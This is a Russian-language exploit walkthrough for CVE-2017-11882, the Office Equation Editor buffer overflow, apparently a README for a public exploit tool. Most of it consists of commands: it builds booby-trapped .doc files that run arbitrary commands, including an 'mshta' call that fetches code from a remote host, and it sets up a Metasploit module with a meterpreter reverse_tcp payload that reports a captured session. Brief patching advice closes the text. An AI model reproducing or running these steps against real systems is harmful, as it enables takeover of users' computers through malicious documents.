CVE-2017-11882

Обзор CVE-2017-11882

С точки зрения эффективности эксплуатации, она может поражать все версии Office от 2003 до 2016, и построение всей среды атаки очень просто. Эта уязвимость вызвана [Редактором формул] в Office, так как процесс редактора не проверяет длину имени, что приводит к переполнению буфера. Злоумышленник, создавая специальные символы, может добиться выполнения произвольного кода. Например, если хакер использует эту уязвимость для создания файла Office с бэкдором-шеллом, то при открытии этого файла обычным пользователем компьютер может быть напрямую захвачен хакером.

Затронутые версии:

office 2003 
office 2007 
office 2010 
office 2013 
office 2016

Usage

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

При открытии созданного файла 'test.doc' успешно запускается калькулятор.

python Command_CVE-2017-11882.py -c "mshta http://192.168.43.165:8080/11882" -o 11882-3.doc

Файл Word 11882-3.doc успешно создан.

Поместите файл cve_2017_11882.rb в каталог /usr/share/metasploit-framework/modules/exploits/windows/smb:

msf > search CVE-2017-11882
msf > use exploit/windows/smb/CVE-2017-11882 
msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp 
msf exploit(CVE-2017-11882) > set lhost 192.168.43.165 
msf exploit(CVE-2017-11882) > set uripath 11882 
msf exploit(CVE-2017-11882) > exploit

Запуск прослушивания:

При открытии файла 11882-3.doc на целевой машине с Windows 7 успешно получена сессия!

Исправление уязвимости

① Онлайн-обновление: включите Windows Update. Этого способа для большинства людей достаточно.

② Установка патча: адрес патча Microsoft для этой уязвимости: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882